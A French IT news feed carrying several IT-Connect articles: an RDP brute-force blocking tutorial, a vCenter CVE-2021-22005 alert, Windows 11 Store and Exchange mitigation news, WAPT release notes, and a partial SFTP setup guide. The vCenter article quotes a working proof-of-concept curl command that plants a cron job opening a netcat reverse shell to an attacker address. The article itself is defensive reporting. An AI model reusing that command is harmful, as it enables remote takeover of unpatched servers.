</ul>
<pre>&lt;TriggerCount&gt;
5
&lt;/TriggerCount&gt;</pre>
<ul>
<li><strong>Bannir définitivement l'hôte distant au bout de X bannissements temporaires, par défaut 3</strong></li>
</ul>
<pre>&lt;PermaBanCount&gt;
3
&lt;/PermaBanCount&gt;</pre>
<p>Après modification du fichier de configuration, redémarrez le service d'EvlWatcher. Voici la commande PowerShell :</p>
<pre>Restart-Service EvlWatcher</pre>
<p><strong>L'outil EvlWatcher est en place et en plus vous savez comment le configurer !</strong> Votre serveur est désormais capable de gérer les attaques par Brute Force RDP. Même s'il y a surement mieux, il présente l'avantage d'être léger, fonctionnel et gratuit.</p>
<p>Il n'est pas possible de mutualiser la base des adresses IP bannies entre plusieurs machines, et il n'est pas non plus possible de recevoir une alerte par e-mail lorsqu'une nouvelle adresse IP est bannie. Lorsque <a href="https://www.it-connect.fr/comment-proteger-son-serveur-linux-des-attaques-avec-crowdsec/" target="_blank" rel="noopener">CrowdSec</a> sera compatible Windows, il y a des chances qu'il apporte une réponse encore plus pertinente à cette problématique.</p>The post <a href="https://www.it-connect.fr/comment-bloquer-les-attaques-brute-force-rdp-avec-evlwatcher/">Comment bloquer les attaques Brute Force RDP avec EvlWatcher ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46585
title: VMware vCenter – CVE-2021-22005 : un exploit circule sur le Web !
uri: VMware-vCenter-CVE-2021-22005-un-exploit-circule-sur-le-Web
url: https://www.it-connect.fr/vmware-vcenter-cve-2021-22005-un-exploit-circule-sur-le-web/
content:
<p><strong>Je crois qu'il est temps d'en remettre une couche au sujet de la faille de sécurité critique qui touche les serveurs VMware vCenter en version 6.7 et 7.0 : un exploit prêt à l'emploi circule sur le Web, ce qui facilite grandement les attaques !</strong></p>
<p>Comme je l'expliquais dans un précédent article au sujet de cette vulnérabilité <a href="https://www.it-connect.fr/vmware-une-faille-critique-affecte-tous-les-serveurs-vcenter-6-7-et-7-0/" target="_blank" rel="noopener">CVE-2021-22005</a>, elle peut être exploitée par quelqu'un qui est capable de<strong> contacter le serveur vCenter</strong> sur le réseau (port 443), <strong>peu importe la configuration</strong> qui est en place sur le serveur vCenter, et <strong>sans être authentifié</strong>.</p>
<p>Quant à l'exploit prêt à l'emploi et qui circule sur Internet, il permet d'exploiter cette vulnérabilité et de <strong>mettre en place un reverse shell sur le serveur distant, ce qui n'était pas le cas avec l'exploit initial</strong>. De quoi permettre l'exécution de code arbitraire, au bon vouloir de l'attaquant.</p>
<p>Initialement, la vulnérabilité touchait le service Analytics de vCenter, mais suite aux informations publiées par un dénommé WVU, il serait possible de passer par le composant <em>Customer Experience Improvement Program</em>, qui est actif par défaut. On pourrait presque parler de deux failles de sécurité différentes, comme le suggère l'analyste du CERT/CC, <a href="https://twitter.com/wdormann/status/1442579994102976519" target="_blank" rel="nofollow noopener">Will Dormann</a>.</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="en">CVE-2021-22005: Exploitation in the wild confirmed. Unredacted RCE PoC against CEIP below.</p>
<p>curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&amp;_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh 172.16.57.1 4444" <a href="https://t.co/wi08brjl3r">https://t.co/wi08brjl3r</a> <a href="https://t.co/bwjMA21ifA">pic.twitter.com/bwjMA21ifA</a></p>
<p>— wvu (@wvuuuuuuuuuuuuu) <a href="https://twitter.com/wvuuuuuuuuuuuuu/status/1442634215330390020?ref_src=twsrc%5Etfw">September 27, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>Désormais, des groupes de hackers ont pu construire un code d'exploit fonctionnel et prêt à l'emploi pour compromettre facilement les serveurs vCenter, à partir des informations publiées par le chercheur Jang.</p>
<p><strong>Retenez que, n'importe qui capable de joindre un serveur vCenter non patché, peut le compromettre à cause de cette faille de sécurité.</strong> Quand on sait qu'il y a des serveurs vCenter accessibles sur une adresse IP publique, voire même indexés dans Google, ce n'est pas rassurant pour les entreprises concernées.</p>
<p>Pour protéger vos serveurs VMware vCenter, vous devez viser les versions suivantes :</p>
<ul>
<li>VMware vCenter 7.0 U2c</li>
<li>VMware vCenter 6.7 U3o</li>
<li><a href="https://www.vmware.com/security/advisories/VMSA-2021-0020.html" target="_blank" rel="nofollow noopener">Bulletin de sécurité VMware</a></li>
</ul>
<p><a href="https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/vmware-vcenter-cve-2021-22005-un-exploit-circule-sur-le-web/">VMware vCenter – CVE-2021-22005 : un exploit circule sur le Web !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46594
title: Windows 11 : le Microsoft Store est ouvert aux magasins d’applications tiers
uri: Windows-11-le-Microsoft-Store-est-ouvert-aux-magasins-d-applicatio
url:
https://www.it-connect.fr/windows-11-le-microsoft-store-est-ouvert-aux-magasins-dapplications-tiers/

content:
<p><strong>Microsoft vient d'assouplir la politique du Microsoft Store de Windows 11 pour permettre l'intégration de magasins d'applications tiers, en plus des applications en elle-même.</strong></p>
<p>Au-delà de la refonte graphique, le Microsoft Store de Windows 11 va bel et bien s'ouvrir un peu plus, et il sera prêt pour le 5 octobre prochain, date à laquelle sortira Windows 11. D'ailleurs, Microsoft précise que dans les prochains mois, ce nouveau Microsoft Store sera également disponible sur Windows 10.</p>
<p>Dans ce nouveau communiqué, <strong>Microsoft affirme avoir reçu des centaines de demandes d'enregistrement d'applications depuis le mois de juin</strong>. Parmi ces applications, nous retrouvons Discord, Zoom, VLC, TeamViewer, Adobe Acrobat DC, LibreOffice ou encore Visual Studio Code. Dans le même temps, de nouveaux navigateurs viennent d'intégrer le Microsoft Store : Opera et Yandex Browser.</p>
<p>Avec Windows 11 et ce nouveau magasin d'applications, la firme de Redmond veut mettre en place "<em>un magasin ouvert pour une plateforme ouverte</em>". Pour s'ouvrir aux autres et les inciter à venir s'installer dans le Microsoft Store, Microsoft a allégé sa politique. Cela va <strong>permettre aux utilisateurs de télécharger directement le magasin d'Epic Games Store et le magasin d'Amazon</strong>, à partir du Microsoft Store. Nous verrons par la suite si d'autres magasins tiers viennent s'ajouter à cette liste.</p>
<p>Pour la partie Android, l'Amazon AppStore sera lié au Microsoft Store car si vous recherchez une application Android pour l'installer sur Windows 11, le Store de Windows s'appuiera sur celui d'Amazon.</p>
<p><a href="https://blogs.windows.com/windowsdeveloper/2021/09/28/microsoft-store-more-apps-more-open/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/windows-11-le-microsoft-store-est-ouvert-aux-magasins-dapplications-tiers/">Windows 11 : le Microsoft Store est ouvert aux magasins d’applications tiers</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46590
title: Ce nouveau module Exchange atténue automatiquement les failles critiques
uri: Ce-nouveau-module-Exchange-atténue-automatiquement-les-failles-critiq
url: https://www.it-connect.fr/ce-nouveau-module-exchange-attenue-automatiquement-les-failles-critiques/
content:
<p><strong>Depuis plusieurs mois, c'est compliqué pour Microsoft Exchange d'un point de vue la sécurité à cause, notamment, des vulnérabilités ProxyShell et ProxyLogon. Pour aider ses clients, Microsoft a intégré un nouveau module à Exchange qui mettra en place automatiquement les mesures d'atténuation lorsqu'une nouvelle faille de sécurité est dévoilée.</strong></p>
<p>Ce nouveau composant se nomme "<strong>Microsoft Exchange Emergency Mitigation</strong>" (EM) et il s'appuie sur l'outil <em>Microsoft Exchange On-premises Mitigation Tool</em> (EOMT) dévoilé en mars dernier pour aider les utilisateurs à se protéger contre les failles ProxyLogon.</p>
<p>Microsoft Exchange Emergency Mitigation va permettre d'appliquer sur votre serveur de messagerie les mesures d'atténuation, de protection, lorsqu'une nouvelle faille critique voit le jour. <strong>L'idée n'est pas de vous protéger définitivement, mais temporairement, en attendant que vous ayez le temps d'installer le correctif de sécurité.</strong> Cela est valable aussi quand Microsoft n'a pas encore sorti le correctif, afin de vous protéger. La firme de Redmond veut laisser un peu plus de temps aux administrateurs, grâce à ce nouveau composant Exchange.</p>
<p>Le composant EM peut appliquer trois types d'atténuation :</p>
<ul>
<li><strong>Règle de réécriture d'URL dans IIS</strong> : créer une règle pour bloquer les requêtes HTTP sur une URI spécifique</li>
<li><strong>Gestion des services Exchange</strong> : désactiver un service Exchange vulnérable</li>
<li><strong>Gestion des pools d'applications</strong> : désactiver un pool d'applications vulnérable</li>
</ul>
<p>Reste à voir quels seront les effets de bords lorsque le service décidera de stopper un service pour vous protéger... Microsoft précise bien que cela peut réduire les fonctionnalités de votre serveur Exchange, donc qu'une atténuation sera mise en place seulement en cas de détection d'une faille critique avec un risque élevé.</p>
<p>Sachez tout de même qu'<strong>Exchange EM peut être désactivé et qu'en aucun cas il ne remplacera l'installation des mises à jour de sécurité</strong>. Pour le désactiver, vous pouvez utiliser une commande PowerShell <a href="https://docs.microsoft.com/en-us/exchange/exchange-emergency-mitigation-service?view=exchserver-2019#disabling-auto-apply-of-mitigations-through-em-service" target="_blank" rel="nofollow noopener">comme l'explique Microsoft dans sa documentation</a>. De la même manière, PowerShell sera utile pour lister les atténuations actives sur votre ou vos serveurs Exchange :</p>
<pre><span class="hljs-pscommand">Get-ExchangeServer</span> | fl name, MitigationsApplied</pre>
<p>Pour bénéficier de Microsoft Exchange Emergency Mitigation, vous devez utiliser <strong>Exchange Server 2016</strong> ou <strong>Exchange Server 2019</strong>, et avoir installé le patch cumulatif (CU) de Septembre 2021.</p>
<p><a href="https://www.bleepingcomputer.com/news/microsoft/new-microsoft-exchange-service-mitigates-high-risk-bugs-automatically/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/ce-nouveau-module-exchange-attenue-automatiquement-les-failles-critiques/">Ce nouveau module Exchange atténue automatiquement les failles critiques</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46518
title: WAPT Enterprise 2.1 et WAPT Discovery : quelles sont les nouveautés ?
uri: WAPT-Enterprise-2-1-et-WAPT-Discovery-quelles-sont-les-nouveautés
url: https://www.it-connect.fr/wapt-enterprise-2-1-et-wapt-discovery-quelles-sont-les-nouveautes/
content:
<p><strong>Pour ce quatrième trimestre 2021, l'éditeur Tranquil IT nous réserve plusieurs nouveautés, avec d'une part la sortie de WAPT Enterprise 2.1 et d'autre part le lancement de WAPT Discovery. Faisons le point sur les changements à venir.</strong></p>
<p>Avant d'aller plus loin, un petit rappel : <strong>qu'est-ce que WAPT ?</strong> Il s'agit d'une solution française, certifiée par l'ANSSI, qui a pour objectif de gérer le cycle de vie des logiciels sur votre parc informatique, de l'installation, à la configuration, aux mises à jour et jusqu'à la désinstallation.</p>
<p>En mars dernier, Tranquil IT a mis en ligne <a href="https://www.it-connect.fr/wapt-2-0-est-disponible-quelles-sont-les-nouveautes/" target="_blank" rel="noopener">WAPT 2.0</a>, une nouvelle version majeure de son logiciel. L'occasion de passer sur Python 3 (puisque Python 2.7 n'est plus supporté), mais aussi d'intégrer l'interconnexion avec GLPI et une gestion avancée des droits d'accès.</p>
<p>Plus récemment, je vous rappelle qu'une faille de type élévation de privilèges a été découverte et qu'un correctif est déjà disponible. Si vous utilisez déjà WAPT et que vous souhaitez bénéficier du correctif, vous devez installer la version WAPT Enterprise 2.0.0.9450 ou WAPT Community 1.8.2.7373.</p>
<ul>
<li>À découvrir : <a href="https://www.it-connect.fr/wapt-enterprise-2-0-premiers-pas-et-deploiement-dun-logiciel/" target="_blank" rel="noopener">Tutoriel WAPT 2.0</a></li>
</ul>
<h2>Les nouveautés WAPT Enterprise 2.1</h2>
<p>Tout d'abord, WAPT Enterprise 2.1 va bénéficier d'une console un peu plus moderne et plus agréable à utiliser, grâce à l'intégration de nouveautés pour que la console soit plus pratique au quotidien.</p>
<p>Au-delà de quelques nouveautés esthétiques, comme le remplacement de toutes les icônes de la console ou le réagencement de certains onglets, les développeurs ont travaillé sur quelques fonctionnalités, parmi lesquelles :</p>
<ul>
<li>Supprimer en masse sur les paquets obsolètes / anciens.</li>
<li>Ajout d’une icône « Paquet » dans l’arborescence Active Directory de l’onglet Inventaire, dans le but de voir les OU qui disposent de paquets.</li>
<li>Lecture des logs chiffrés à partir de la console, dans le but de remonter des infos sensibles comme les licences ou les clés BitLocker. Pour consulter ces informations, il faut posséder la clé privée, bien entendu.</li>
<li>Afficher les dépendances d'un paquet au sein du dépôt privé</li>
<li>Supprimer les mises à jour Windows non affectées pour économiser de l'espace disque sur son serveur</li>
<li>Agir sur les machines qui disposent d'un même logiciel</li>
<li>Etc.</li>
</ul>
<p>En complément, un nouvel onglet nommé "<strong>Développement de paquets WAPT</strong>" est disponible en version preview, dans l'objectif de remplacer, à terme, l'éditeur de paquet PyScripter. Pour le moment, certaines fonctionnalités comme le debuging ou l'autocomplétion ne sont pas disponibles.</p>
<p>Enfin, il y a une nouveauté qui me semble particulièrement intéressante, c'est <strong>la prise en charge de l'authentification Kerberos</strong>. Grâce à cette nouveauté, si vous souhaitez vous connecter à la console ou à WAPT Self Service, <strong>il n'est plus nécessaire de se réauthentifier</strong> (si l'on est déjà connecté sur Windows avec sa session du domaine).</p>
<p>Voici un aperçu de WAPT Enterprise 2.1.</p>

<a href="media/bedeb81b.wapt-2-1-console-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02.jpg"><img width="1738" height="858" src="media/bedeb81b.wapt-2-1-console-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02.jpg 1738w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02-550x272.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02-800x395.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02-150x74.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02-768x379.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02-160x79.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02-1536x758.jpg 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-02-50x25.jpg 50w" sizes="(max-width: 1738px) 100vw, 1738px" /></a>
<a href="media/3e28ea5e.wapt-2-1-console-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01.jpg"><img width="1734" height="854" src="media/3e28ea5e.wapt-2-1-console-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01.jpg 1734w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01-550x271.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01-800x394.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01-150x74.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01-768x378.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01-160x79.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01-1536x756.jpg 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-2-1-console-01-50x25.jpg 50w" sizes="(max-width: 1734px) 100vw, 1734px" /></a>

<h2>WAPT Discovery : la version gratuite et limitée à 300 postes</h2>
<p>Tranquil IT a décidé d'arrêter de contribuer au développement de la version <a href="https://www.tranquil.it/wapt-community-changements-majeurs-2021/" target="_blank" rel="noopener">WAPT Community</a> au profit d'une nouvelle version gratuite, mais non libre : WAPT Discovery. La bonne nouvelle, c'est que <strong>cette version gratuite sera basée sur WAPT Enterprise et donc sur Python 3.</strong> Elle bénéficiera également des dernières optimisations de la version 2.1 WAPT Enterprise.</p>
<p>Au niveau des limitations de cette version gratuite, il faut savoir qu'<strong>elle sera limitée à la gestion de 300 postes</strong> et qu'elle ne supportera pas macOS et Windows XP.</p>
<p>Si vous l'attendez avec impatience, sachez que <strong>WAPT Discovery sera disponible courant octobre</strong> !</p>
<h2>Le planning de la fin d'année</h2>
<p>En complément, <strong>Tranquil IT prépare un nouveau forum pour faciliter les échanges liés à WAPT Discovery et WAPT Enterprise</strong>, tandis que le forum actuel passera en lecture seule. Voici un résumé des changements à venir :</p>
<p><img class="aligncenter size-large wp-image-46521" src="media/991740de.wapt-planning-fin-2021-800x450.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-planning-fin-2021-800x450.jpg" alt="" width="800" height="450" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-planning-fin-2021-800x450.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-planning-fin-2021-550x310.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-planning-fin-2021-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-planning-fin-2021-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-planning-fin-2021-160x90.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-planning-fin-2021-50x28.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/wapt-planning-fin-2021.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Avec cette phase de transition qui est enclenchée, la fin d'année s'annonce chargée chez Tranquil IT !</strong></p>
<p>Si vous souhaitez découvrir WAPT, suivez ce lien : <a href="https://www.tranquil.it/gerer-parc-informatique/decouvrir-wapt/" target="_blank" rel="noopener">Découvrir WAPT</a></p>
<p><em>Source : communiqué de presse</em></p>The post <a href="https://www.it-connect.fr/wapt-enterprise-2-1-et-wapt-discovery-quelles-sont-les-nouveautes/">WAPT Enterprise 2.1 et WAPT Discovery : quelles sont les nouveautés ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46461
title: Linux : configuration d’un espace de stockage sécurisé avec SFTP
uri: Linux-configuration-d-un-espace-de-stockage-sécurisé-avec-SFTP
url: https://www.it-connect.fr/linux-configuration-dun-espace-de-stockage-securise-avec-sftp/
content:
<h2>I. Présentation</h2>
<p><strong>Dans ce tutoriel, je vais vous expliquer comment mettre en place un système de stockage de fichier sécurisé par l’isolation de chaque utilisateur et le chiffrement des connexions. Autrement dit, nous allons permettre à différents utilisateurs de bénéficier d’un espace de stockage dédié et isolé sur notre serveur, au travers d’une connexion SFTP.</strong></p>
<p>SFTP (pour <em>Secure File Transfert Protocol</em>) est un protocole de transfert de fichier sécurisé qui utilise SSH. Un des gros avantages de FTP est qu’il est simple à déployer et à utiliser ; à l’inverse, il est par nature non sécurisé dans le sens où tout passe en clair sur le réseau, y compris les mots de passe !</p>
<p>SFTP quant à lui, assure un chiffrement dès l’authentification, il permet ainsi d’assurer la sécurité des accès et des données qui transitent. En revanche, il nécessite plus de travail de mise en place et bien que nativement prit en charge dans Windows 10 depuis l’ajout du support OpenSSH, il est plus aisé d’utiliser un logiciel tel que WinScp ou Filezilla. Pour la sauvegarde, vous pouvez utiliser <a href="https://fullsync.sourceforge.io/" target="_blank" rel="nofollow noopener">FullSync</a> qui gère les connexions SFTP.</p>
<p>Pour ce tuto, j’ai utilisé un serveur Rocky Linux en installation minimale (pas besoin de plus) et le client OpenSSH de Windows pour la connexion SSH, mais vous pouvez utiliser un logiciel tiers comme PuTTY par exemple.</p>
<p>Bien entendu, ce tuto est reproductible sur CentOS, AlmaLinux ou Oracle Linux tel quel. Pour les utilisateurs de Debian, des notes viennent indiquer les changements de commandes et/ou de chemins de fichiers.</p>
<h2>II. Préparation du serveur</h2>
<h3>A. Configuration du réseau</h3>
<p>La première chose à faire bien entendu est d’adresser notre serveur en statique. Comme il s’agit d’un serveur de fichier, il n’est pas concevable de le laisser en dynamique au risque de voir son IP changer !</p>
<p>La gestion des adresses IP sur Linux varie en fonction de la distribution. Par chance sur CentOS, il existe un utilitaire qui permet de faire cela en un rien de temps : <strong>NetworkManager TUI</strong></p>
<p>Il suffit donc de taper la commande :</p>
<pre>[root@sftp ~]# nmtui</pre>
<p>Un menu nous permet alors de définir notre adresse IP en statique. Dans un premier temps, sélectionnez « <strong>Modifier une connexion</strong> »</p>
<p><img class="aligncenter size-full wp-image-46464" src="media/3640a97a.linux-espace-de-stockage-securise-sftp-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-01.jpg" alt="" width="302" height="221" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-01.jpg 302w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-01-150x110.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-01-160x117.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-01-50x37.jpg 50w" sizes="(max-width: 302px) 100vw, 302px" /></p>
<p>Puis de sélectionner l’interface correspondante (pour moi c’est facile, il n’y en a qu’une, mais attention si vous en avez plusieurs) et choisir « <strong>Modifier… </strong>»</p>
<p><img class="aligncenter size-full wp-image-46465" src="media/bb4aa866.linux-espace-de-stockage-securise-sftp-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-02.jpg" alt="" width="274" height="207" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-02.jpg 274w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-02-160x121.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-02-50x38.jpg 50w" sizes="(max-width: 274px) 100vw, 274px" /></p>
<p>Dans la fenêtre suivante, il faut vous rendre dans «<strong> CONFIGURATION IPv4 </strong>» pour le changer en « <strong>Manuel </strong>» puis sélectionner « <strong>Afficher </strong>».</p>
<p>Ici, mon réseau étant en 192.168.1.0/24, je choisis l’adresse 192.168.1.100. Bien entendu, vous faites comme vous le souhaitez tant que votre adresse reste dans votre plage.</p>
<p><img class="aligncenter size-full wp-image-46466" src="media/37185ac3.linux-espace-de-stockage-securise-sftp-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-03.jpg" alt="" width="663" height="563" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-03.jpg 663w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-03-550x467.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-03-150x127.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-03-160x136.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-03-50x42.jpg 50w" sizes="(max-width: 663px) 100vw, 663px" /></p>
<p>Au passage, vérifiez bien que la case « Connecter automatiquement » est bien cochée, cela vous évitera des déconvenues…</p>
<blockquote><p><strong>Note </strong>: les utilisateurs de Debian n’auront pas la chance d’avoir ce menu. Pour ceux-ci ou les aficionados de la ligne de commande, je vous laisse suivre les excellents tutos sur <a href="https://www.it-connect.fr/chapitres/comment-configurer-le-reseau-avec-ifconfig/" target="_blank" rel="noopener">ifconfig</a> ou <a href="https://www.it-connect.fr/gestion-du-reseau-sous-linux-avec-iproute2/" target="_blank" rel="noopener">iproute2</a> en fonction de vos systèmes.</p></blockquote>
<p>Une fois tout ceci validé, un petit redémarrage des services réseau pour la prise en compte des modifications :</p>
<pre>[root@sftp ~]#systemctl restart network
# Sous Debian : 
systemctl restart network<strong>ing</strong></pre>
<p>Et pour valider le changement, on va afficher le résultat de la commande <strong>ip a</strong>.</p>
<p><img class="aligncenter size-large wp-image-46467" src="media/1e6a08a9.linux-espace-de-stockage-securise-sftp-04-800x256.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-04-800x256.jpg" alt="" width="800" height="256" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-04-800x256.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-04-550x176.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-04-150x48.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-04-768x246.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-04-160x51.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-04-50x16.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-04.jpg 815w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Notre serveur est bien adressé, on peut passer à la suite.</p>
<h3>B. Vérification de la présence du service SSH</h3>
<p>Toutes les distributions Linux viennent avec un client SSH ; la plupart avec un serveur SSH, mais celui-ci n’est pas forcément installé par défaut. Ou encore, il m’arrive également de sauter l’étape correspondante lors de l’installation donc on va déjà vérifier qu’il est bien installé :</p>
<pre>[root@sftp ~]#systemctl status sshd</pre>
<p>Voici le retour pour moi :</p>
<p><img class="aligncenter size-full wp-image-46468" src="media/dd540297.linux-espace-de-stockage-securise-sftp-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-05.jpg" alt="" width="745" height="229" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-05.jpg 745w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-05-550x169.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-05-150x46.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-05-160x49.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-05-50x15.jpg 50w" sizes="(max-width: 745px) 100vw, 745px" /></p>
<p><strong>Le service est bien installé et même actif.</strong></p>
<p>Si vous avez un retour de ce genre :</p>
<pre>Unit sshd.service could not be found</pre>
<p>Pas de chance, c’est que le service n’est pas présent ! Mais pas de panique, on peut l’installer à tout moment grâce à la commande magique :</p>
<pre>[root@sftp ~]#yum install -y sshd</pre>
<p>Yum est le gestionnaire de paquet pour toutes les distributions dérivées de Red Hat comme le son Rocky, Alma et CentOS, cette commande appelle donc l’installation d’OpenSSH ; l’option «<strong> -y </strong>» permet d’éviter le prompt de validation.</p>
<blockquote><p><strong>Note </strong>: les utilisateurs de Debian avertis auront ici compris qu’il faut utiliser le gestionnaire de paquet Debian « apt ». La commande devient donc <strong>apt-get install -y sshd</strong></p></blockquote>
<h3>C. Mise à jour du système</h3>
<p>Donc avant tout, on va déjà se connecter, sur mon PC Windows, j’ouvre une fenêtre PowerShell et utilise la commande suivante :</p>
<pre>ssh florian@192.168.1.100</pre>
<p>Si la fonctionnalité SSH n'est pas installée sur votre machine Windows, suivez ce tutoriel : <a href="https://www.it-connect.fr/comment-utiliser-le-client-ssh-natif-de-windows-10/" target="_blank" rel="noopener">le client SSH sous Windows</a>.</p>
<p>Où « <em>florian</em>» est le nom d’utilisateur (à remplacer bien entendu par le vôtre). Une fois connecté, une petite mise à jour, ça ne fait pas de mal surtout maintenant que le serveur n’est pas encore entré en production. Mais pour cela, il faut se connecter en root avec la commande « su ».</p>
<pre>[florian@sftp ~]$ su
Mot de passe :</pre>
<p>Au passage, vous pouvez constater que ma machine s’appelle « sftp », bien entendu, cela n’a aucune influence sur la suite du programme, vous pouvez la nommer comme vous voulez.</p>
<p>Une fois ceci fait, tapez la commande «<em> yum update</em> » :</p>
<pre>[florian@sftp ~]$ su
Mot de passe :
[root@sftp florian]# yum update</pre>
<p>Dépendances résolues.</p>
<p>Là je n’en ai pas beaucoup, mais cela peut être différent chez vous, donc prévoir un petit temps pour compléter toutes les mises à jour.</p>
<blockquote><p><strong>Note </strong>: les systèmes Debian nécessitent deux étapes pour faire une mise à jour de paquets. D’abord la commande <strong>apt-get update</strong> pour la mise à jour des dépôts puis <strong>apt-get upgrade</strong> pour la mise à jour des paquets</p></blockquote>
<h2>III. Mise en place du service</h2>
